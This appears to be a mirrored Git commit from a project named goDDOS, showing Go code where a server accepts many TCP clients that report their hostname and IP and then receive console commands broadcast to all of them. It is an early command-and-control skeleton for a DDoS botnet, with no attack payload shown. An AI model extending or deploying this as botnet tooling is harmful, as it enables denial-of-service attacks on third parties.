mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-07 03:26:42 +01:00
server sending messages to multiple clients works fine
This commit is contained in:
@@ -5,12 +5,19 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
CONN_HOST = "localhost"
|
||||||
|
CONN_PORT = "3333"
|
||||||
|
CONN_TYPE = "tcp"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/
|
func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/
|
||||||
|
|
||||||
// connect to this socket
|
// connect to this socket
|
||||||
conn, _ := net.Dial("tcp", "127.0.0.1:3333")
|
conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
||||||
hostname, err := os.Hostname()
|
hostname, err := os.Hostname()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
@@ -20,7 +27,7 @@ func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-cli
|
|||||||
ip := getIp()
|
ip := getIp()
|
||||||
fmt.Println("local ip:", ip)
|
fmt.Println("local ip:", ip)
|
||||||
// send to socket
|
// send to socket
|
||||||
fmt.Fprintf(conn, hostname+", ip: "+ip.String()+"\n")
|
fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
|
||||||
for {
|
for {
|
||||||
message, err := bufio.NewReader(conn).ReadString('\n')
|
message, err := bufio.NewReader(conn).ReadString('\n')
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
131
server/main.go
131
server/main.go
@@ -5,6 +5,8 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
"os"
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -13,43 +15,114 @@ const (
|
|||||||
CONN_TYPE = "tcp"
|
CONN_TYPE = "tcp"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() { //server
|
var allClients map[*Client]int
|
||||||
|
|
||||||
fmt.Println("Launching server...")
|
type Client struct {
|
||||||
|
outgoing chan string
|
||||||
|
reader *bufio.Reader
|
||||||
|
writer *bufio.Writer
|
||||||
|
conn net.Conn
|
||||||
|
connection *Client
|
||||||
|
}
|
||||||
|
|
||||||
// listen on all interfaces
|
func (client *Client) Read() {
|
||||||
ln, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
for {
|
||||||
|
line, err := client.reader.ReadString('\n')
|
||||||
|
if err == nil {
|
||||||
|
if client.connection != nil {
|
||||||
|
client.connection.outgoing <- line
|
||||||
|
}
|
||||||
|
fmt.Println("")
|
||||||
|
fmt.Println(line)
|
||||||
|
} else {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
client.conn.Close()
|
||||||
|
delete(allClients, client)
|
||||||
|
if client.connection != nil {
|
||||||
|
client.connection.connection = nil
|
||||||
|
}
|
||||||
|
client = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (client *Client) Write() {
|
||||||
|
for data := range client.outgoing {
|
||||||
|
client.writer.WriteString(data)
|
||||||
|
client.writer.Flush()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (client *Client) Listen() {
|
||||||
|
go client.Read()
|
||||||
|
go client.Write()
|
||||||
|
}
|
||||||
|
func NewClient(connection net.Conn) *Client {
|
||||||
|
writer := bufio.NewWriter(connection)
|
||||||
|
reader := bufio.NewReader(connection)
|
||||||
|
|
||||||
|
client := &Client{
|
||||||
|
// incoming: make(chan string),
|
||||||
|
outgoing: make(chan string),
|
||||||
|
conn: connection,
|
||||||
|
reader: reader,
|
||||||
|
writer: writer,
|
||||||
|
}
|
||||||
|
client.Listen()
|
||||||
|
|
||||||
|
return client
|
||||||
|
}
|
||||||
|
|
||||||
|
func watchConsoleInput(conn net.Conn) {
|
||||||
|
newcommand := bufio.NewReader(os.Stdin)
|
||||||
|
for {
|
||||||
|
text, _ := newcommand.ReadString('\n')
|
||||||
|
text = strings.TrimSpace(text)
|
||||||
|
// send newcommand back to client
|
||||||
|
if text != "" {
|
||||||
|
fmt.Println("console input command: " + text)
|
||||||
|
fmt.Println("sending command to " + strconv.Itoa(len(allClients)) + " connected clients")
|
||||||
|
for clientList, _ := range allClients {
|
||||||
|
//if clientList.connection == nil {
|
||||||
|
clientList.conn.Write([]byte(text + "\n"))
|
||||||
|
//}
|
||||||
|
}
|
||||||
|
fmt.Print("enter new command: ")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func watchConnectionInput(client *Client) {
|
||||||
|
for clientList, _ := range allClients {
|
||||||
|
if clientList.connection == nil {
|
||||||
|
client.connection = clientList
|
||||||
|
clientList.connection = client
|
||||||
|
fmt.Println("Connected")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
allClients[client] = 1
|
||||||
|
fmt.Println(strconv.Itoa(len(allClients)) + " connected clients")
|
||||||
|
fmt.Print("command to send to the clients: ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
allClients = make(map[*Client]int)
|
||||||
|
listener, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println("Error listening:", err.Error())
|
fmt.Println("Error listening:", err.Error())
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close the listener when the application closes.
|
|
||||||
defer ln.Close()
|
|
||||||
defer fmt.Println("ended")
|
|
||||||
|
|
||||||
fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
|
fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
|
||||||
|
|
||||||
// accept connection on port
|
|
||||||
c, err := ln.Accept()
|
|
||||||
if err != nil {
|
|
||||||
fmt.Println("Error accepting: ", err.Error())
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
// will listen for message to process ending in newline (\n)
|
|
||||||
message, _ := bufio.NewReader(c).ReadString('\n')
|
|
||||||
// output message received
|
|
||||||
fmt.Print("client connected:", string(message), "\n")
|
|
||||||
for {
|
for {
|
||||||
/*// will listen for message to process ending in newline (\n)
|
conn, err := listener.Accept()
|
||||||
message, _ := bufio.NewReader(c).ReadString('\n')
|
if err != nil {
|
||||||
// output message received
|
fmt.Println(err.Error())
|
||||||
fmt.Print("client connected:", string(message), "\n")*/
|
}
|
||||||
|
client := NewClient(conn)
|
||||||
newcommand := bufio.NewReader(os.Stdin)
|
go watchConnectionInput(client)
|
||||||
fmt.Print("command to send to the clients: ")
|
go watchConsoleInput(client.conn)
|
||||||
text, _ := newcommand.ReadString('\n')
|
|
||||||
// send new string back to client
|
|
||||||
c.Write([]byte(text + "\n"))
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user